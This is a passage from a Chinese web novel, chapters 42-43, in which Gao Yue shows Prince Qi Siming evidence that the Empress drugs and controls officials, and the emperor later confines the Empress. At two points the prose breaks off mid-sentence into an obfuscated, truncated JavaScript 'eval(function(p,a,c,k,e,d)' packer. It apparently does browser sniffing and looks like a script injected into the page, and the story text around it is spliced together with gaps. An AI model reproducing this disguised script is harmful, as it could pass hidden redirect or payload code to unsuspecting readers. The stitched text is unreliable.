“对不起,”他的声音艰涩无比,“是我来晚了。” 42. 怀中软玉诉惊秘 听到“对不起”三个字,高玥不禁瞪大了眼睛。 她刚刚听到了什么? 眼前的这个杀伐果断的男人,现在竟然对她说“对不起”? 这三个字能从齐思铭的口中说出,高玥比任何人都震撼。 许是情绪作怪,一瞬间,她心底的某个被她严防死守的角落,被轻轻地触动了一下。 不等高玥回过神来,齐思铭又低声说了一句“对不起”。 高玥:…… 这个人怎么回事?今天道歉道上瘾了? 仿佛是看穿了高玥内心所想,齐思铭主动解释道,“那日在红袖阁,我不知是你。” “你……”有一种熟人作案被拆穿的感觉,高玥一时间不知道该怎么回答。 本该是她主动质问齐思铭,现在齐思铭主动提起这件事,反倒是她落了下风。 “你怎么知道是我。”高玥没头没脑地回答。 “我也不知道,一种感觉吧。”他的手臂箍筋了一些,“自从认识了你,你的身上总是有一些令我很在意的吸引力,让我不由自主地向你靠近。” “其实那一天,我也感受到了。只是我不知,那竟然是你。”齐思铭低低叹了口气,“我只当你是皇后的人,错将你认成了李显……至于你口中那个叫青莲的女孩,我……” 他顿了顿,似乎是在寻找一个合适的词,最终之化作一句沉重的,“我很抱歉。” “我后来想了很多,就算那个人不是你,那个女孩,也是无辜的。” 高玥的身体猛地一僵。 她不是没有想过再见之时,他会如何辩解。 也想过他可能会用利益来搪塞,甚至会用更冷酷的言语来掩盖那晚的真相。但独独没想到,会是这样一种情况。 “我只是觉得,我们都是平等的人……”这句话一出口,高玥就想要撤回,跟齐思铭这种脑子被封建思想浸润了二十几年的人讲平等,真是天方夜谭。 但她却没想到,齐思铭竟然“嗯”了一声,似乎是认可了她的这句话。 这更让她感到不可思议。 她一直以为,在他眼中,所有人都是可以利用和牺牲的棋子,没有价值的生命不值一提。 可没想到就是这样的一个人,竟然第一次在她面前,袒露出一种名为“人性”的脆弱。 “那你以后不准这样了……” 高玥把脸埋在他的胸前,贪婪地呼吸着他身上的檀木香。 这味道驱散了连日来萦绕在她周围的血腥与腐烂,让她紧绷到极致的神经,终于寻到了一个可以停靠的港湾。 这些时日的恐惧、算计和挣扎,在这一刻,尽数决堤。 她死死抓着他胸前的衣料,似乎要将自己整个人都嵌入他的怀抱。 齐思铭低下头,下巴抵着她的发顶,那双看透了无数人心鬼蜮的眼眸里,此刻只剩下后怕。 “那你以后也不准这样。”他的声音有些沙哑。 “即便是我。” 是他大意了。 他以为银梳坊只是他们敛财的一个窝点,却未曾想过,那里竟是这样的人间炼狱。 是他亲手将她推入虎口。 在乱葬岗升青烟。 那乱葬岗是什么地方,就连寻常男子平日都不会轻易去,她一个女子,竟然胆子大到跑到乱葬岗。 高玥,真有你的。 他将她抱得更紧,恨不得将这个瘦了一圈的人锁在自己的怀里。 “咳!” 一声极不合时宜的干咳,在这寂静的夜晚突兀地响起,打破了这难得的温存。 理智回魂,高玥猛地反应过来自己在做些什么,猛地从齐思铭的怀抱挣脱。 她有些慌乱地别过眼,有些不好意思去看齐思铭,更别提齐思铭身后的王友了。 齐思铭伸出的手还停在半空,怀里的人突然没了,他缓缓侧过头,一道冰冷的目光投向王友。 王友背后一凉,下意识地缩了缩脑袋。 他一脸委屈地看向齐思铭。 天知道,他刚刚真的在极力忍耐了,但是忍了半天,还是没忍住咳了出来。 现在好了,王爷一定会把他杀了。 王友欲哭无泪地想。 高玥深吸一口气,强行压下刚刚缱绻的情绪,恢复了惯有的冷静。 她还没忘记今日叫齐思铭过来的真正事情。 “正事要紧。”高玥轻轻咳嗽了一声,端正了情绪说道。 她飞快地从怀里掏出一叠纸,那纸张的边缘已经有些磨损,看得出被她翻阅了无数次。 正是她那日被关在柴房里发现的单据。 她将那叠纸塞进齐思铭的手中。 “这是我这几日在银梳坊里找到的东西。” 齐思铭接过那叠纸,起初只是漫不经心地翻动着。 纸上记录的是一张张出货单,上面罗列着人名、日期还有金额。 他的神色越来越凝重,他来回翻动着那几页纸张,其中有几页的名字和数字,竟与他手中账本上语焉不详的亏空,完美对应。 一张张看似零散的单据,此刻在他脑中飞速串联。 “银梳坊不仅是为皇后敛财的地方,”高玥语速极快地解释道,“经过我这几日发现,它还是一个控制朝臣的工具。” “这上面记录的人名,是她们将银梳坊的姑娘送给朝中官员的名单。更可怕的是,她们会让这些姑娘给那些官员们下一种叫做净心汤的药。” “净心汤?”王友忍不住问道,“这是何物?” “这是一种能侵蚀人心智的药物,可以让人在神不知鬼不觉中变得顺从的药物。”高玥的声音冷了下来,“长期服用,人会变得如同被抽去魂魄,下药者让其往东,他绝不敢往西。我猜皇后就是用这种法子,将朝中不少官员,都变成了她最忠实的走狗。” 王友倒吸一口凉气,只觉得一股寒意从脚底板直冲天灵盖。 他行走江湖多年,也算是见多识广,却从未听过如此阴毒歹毒的手段。 用美色与药物,竟能不动声色地操控朝廷命官! “这世间竟有如此恶毒之物!”他震惊道,“这皇后,简直是丧心病狂!” 齐思铭却异常平静。 他捏着那几张纸,轻轻摩挲着上面某几处清秀而有力的字迹。 他的注意力根本不在那所谓的净心汤上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他算是看明白了,今天晚上,谁家要是敢耽误这位娘娘吃饭,王爷怕是真能把那个酒楼给拆了。 高玥被他拽着,掌心的温热透过皮肤,一直传到心底。 她跟在后面,看着他宽阔的背影,那颗窘迫而慌乱的心,竟奇迹般地安定了下来。 这个男人,虽然腹黑又满心算计,可他……好像真的在心疼她。 …… 他们不知道的是,在他们身后百步之外的屋顶上,一道黑影静静地蛰伏着。 他将巷子里发生的一切尽收眼底,从齐思铭的出现,到那个惊心动魄的拥抱,再到三人一同离去。 直到那三人的身影彻底消失在街角,黑影才缓缓直起身。 他看了一眼齐思铭离去的方向,又看了一眼银梳坊那扇紧闭的小门,眼中闪过一丝光芒。 他没有丝毫停留,轻轻一个翻身,便消失在了黑夜之中。 夜色深沉,一场新的风暴,正在悄然酝酿。 43. 红袖藏刀帝王怒 夜晚的山城,若非是灯红酒绿之地,几乎安静得可怕。 齐思铭拉着高玥一连穿过了好几条空无一人的街道。 “齐思铭,你到底要带我去哪里……”她的话音刚落下,“红袖阁”那三个烫金大字便映入眼帘。 高玥的脚步顿住,难以置信地看着他。 说好的带她来吃饭,结果就是带她来逛青楼?况且之前在红袖阁的种种回忆都让她并不是那么美好。 高玥的内心有些抗拒。 她正要开口提醒他此地与拐卖少女脱不了干系,齐思铭却像是看穿了她的心思一般,歪头看着她,嘴角噙着一抹说不清道不明的笑意。 “没办法,这个时候,其他酒馆都已打烊。强行让他们起来,岂非有违你所说的“人人平等”?”他理所当然地说道,“只有这里,彻夜灯火通明,总还有些吃食。” 高玥被他这么一说,一时间竟无言以对。 用她的话来堵她的嘴,这男人真是…… “进去瞧瞧。” 不等她再有反应,齐思明已经拉着她踏进了红袖阁。 一踏入红袖阁,高玥就察觉到了不对劲。 不对,应该是刚刚在门口就隐隐感觉到了哪里不一样。 往日的红袖阁,还没等她靠近门边,老鸨就已经笑脸迎了上来,可今日,竟无一人出来揽客。 记忆中那股子廉价胭脂水粉味也荡然无存,取而代之的是淡淡的是一股淡淡地花香。 大堂里不再是那些油头粉面的浪荡子和满脸堆笑的姑娘,反而坐着三三两两的食客,衣着雅致,低声交谈,倒真的像是一个正儿八经的社交场所了。 正中央的台子上,一位身着素衣的女子正低头抱着琵琶,指尖轻拢慢捻,流淌出的曲调清雅悠远,竟有几分文人雅士相聚的意趣。 这哪里还是那个藏污纳垢的花柳之地? 王友跟在后面,见高玥面露讶色,刚想开口邀功,就被齐思铭一个眼神给堵了回去。 齐思铭亲自拉着高玥在二楼临窗的一张空桌坐下。 高玥侧过头,正津津有味地看着台下浅浅吟唱的女子,脖颈处优美的线条便在昏黄地烛光下显露无遗。 齐思铭的目光不经意间扫过,却猛然顿住。 就在她白皙的颈侧,一道极淡的浅粉色疤痕若隐若现。 那是那晚匕首划开的伤口。 齐思铭心被猛地一揪。他记得那夜她眼中一闪而过的惊惧与倔强,也记得她捂着脖子,鲜血从指缝渗出的模样。 伤口会愈合,可心里这道疤,又该多久愈合。 他的喉结微动,眸色深沉地看着那道几乎看不见的痕迹,用只有自己能听见的声音喃喃道,“那日果然是你。 他似乎要说服自己很多遍,才能让自己清新地知道自己那晚究竟做了什么事情。 那低语声混在悠扬的琵琶曲中,几不可闻。 高玥似乎察觉到了他的注视,回过头来,恰好捕捉到他眼中还未完全褪去的复杂情绪。“你说什么?” 齐思铭的眼神瞬间恢复了往日的平静,仿佛刚刚的失神只是她的错觉。 他没有回答她的问题,而是不紧不慢地为她面前的空杯斟满茶水。 放下茶壶,他才慢条斯理地开口,“自那日你离去后,此地的老鸨,倒是个懂事的,主动往我房里送了两个姑娘。” 高玥的心提了起来。 她知道那些姑娘有古怪,有些紧张地问道,“然后呢?” “我瞧着那两个姑娘,神情古怪。”他修长的手指在桌面上无意识地敲击,“她们会说会笑,举止也算得体,可那双眼睛里,没有活气,就好像被人抽走了魂魄一般。” “所以我便用了一点小手段,让那老鸨把知道的全都吐了出来。” 他口中的“一点手段”,高玥完全可以想象是何等血腥。 “那时我便知道,原来这红袖阁,就是某个组织的下家。那些从那个组织里出来的女孩,资质尚可的,便会被送到这里,尤其是四楼。”他抬眼看了一下楼上。 “那里是专门招待达官显贵的地方。女孩们被送进去,任凭那些贵人挑选,若是稍有不如意,便是拳打脚踢,生死不论。” 说到这里,齐思铭的声音多了几分狠厉。 “光天化日,朗朗乾坤。在本王眼皮子底下,做这种肮脏的勾当。” 高玥喝了口杯中的茶水,轻笑道,“我还以为你不会管她们的死活。” 毕竟在她的认知里,齐思铭是那种对自己没有利益的事情,根本不会上心的人。 很难想象他会直接帮助那些女孩出头。高玥想象了一下那个画面,就觉得很诡异,忍不住笑出了声。 “我本来还奇怪,在这山城,究竟是谁有这通天的本事。直至今日看了你给我的单据,两相对照,倒是清晰了。” “李显,户部侍郎的李公子,好大的手笔。” 高玥端起茶杯,抿了一口,然后说道,“光凭一个李显,他还没有这么大的胆子。银梳坊和红袖阁能安然无恙地开到今日,背后没有若没有旁人撑腰,绝无可能。” 齐思铭问道,“那你认为是谁?” 高玥放下茶杯,目光开始变得幽深,“我之前在宫中之时,便偶有听闻一些怪事。” “一些朝中大臣,本是以一身傲骨闻名,却常在一夜之间性情大变,突然就投靠了皇后一派。” 她顿了顿,继续说道,“当时宫中之人皆只道是皇后圣眷正浓,恩威并施,无人敢逆其锋芒。可如今想来……” 她对上齐思铭的眼睛,一字一句道,“只怕根本不是什么恩威并施,而是皇后抓住了这些人的命门。设下陷阱,让他们身败名裂,再以此为要挟,逼他们为己所用。而李显,以及他背后的银梳坊,想必就是她手上最好用的一把刀。” “不错。”齐思铭点了点头,“所以,本王今夜送去的那份大礼,算是送对了。” 齐思铭话音未落,去而复返的王友走了过来,他身后还跟着一个穿着粉色衣裳的侍女。 高玥起初并未在意,可当那女子缓缓抬起头,露出一张清秀的脸庞时,高玥手中的杯子差点摔在地上。 这侍女不是别人,正是青莲! 当日设计让她假死逃出银梳坊,本以为从此天各一方,再无相见之日。 可没想到,此刻她竟好端端地站在自己面前! 高玥的声音带着一丝颤抖,“青莲?” 青莲看到高玥,眼眶瞬间红了,“娘……不对,姑娘……” 高玥再也顾不得其他,猛地从座位上站起,紧紧地将青莲搂在怀里。 “太好了……太好了你还活着!”高玥的声音里带着失而复得的狂喜与后怕,眼泪不受控制地流了下来。 被她这么一抱,青莲也忍不住哭出了声,“姑娘,王大哥把什么都告诉我了,原来从一开始,我的救命恩人就只是您!” 高玥放开她,双手捧着她的脸,仔仔细细地打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皇帝没有动,也没有再发出任何声音。 书房里陷入了死一般的寂静。 王公公伏在地上,他能感觉到,一道狠厉的视线正落在他身上,几乎要将他生吞活剥。 他从未见过皇帝如此生气。 许久,皇帝终于开口,“好,好一个母仪天下。” 他将手中的册子扔在桌上,那册子摊开,露出的正是皇后那些与前朝后宫,与太子党羽之间一笔又一笔的银钱往来。 每一笔,都是在挖他大胤的根基! “王德春!” “奴才在!”王公公的身体抖得更厉害了。 “传朕旨意。”皇帝的声音没有一丝波澜,“皇后萧氏,德行有亏,教子不严,即日起禁足凤仪宫,无朕旨意,任何人不得探视。凤仪宫上下,一体彻查!” 仅仅是禁足。 可太子前脚的禁足还没有解除,皇后又被禁足。 王德春心里知道,皇上这是在给太子留体面,也是在给这天下留体面。 但这一道旨意下去,皇后的权柄,算是被斩断了大半。 “奴才遵旨!”王德春连忙领命。 书房里,又恢复了那令人窒息的安静。 皇帝缓缓站起身,走到窗前,负手而立。 他看着窗外沉沉的夜色,那双能洞悉万物的眼中,取而代之的是一片深不见底的暗色。 “王德春。”皇帝唤道。 “奴才在。” “朕记得,献国公如今也在山城吧。” “回皇上,正是。” “朕也好久没有见献国公了,传朕旨意,即刻让他来见朕。” 王德春刚准备领命退下,皇帝又叫住了他。 “说起来,朕好像许久没有见到贵妃了?”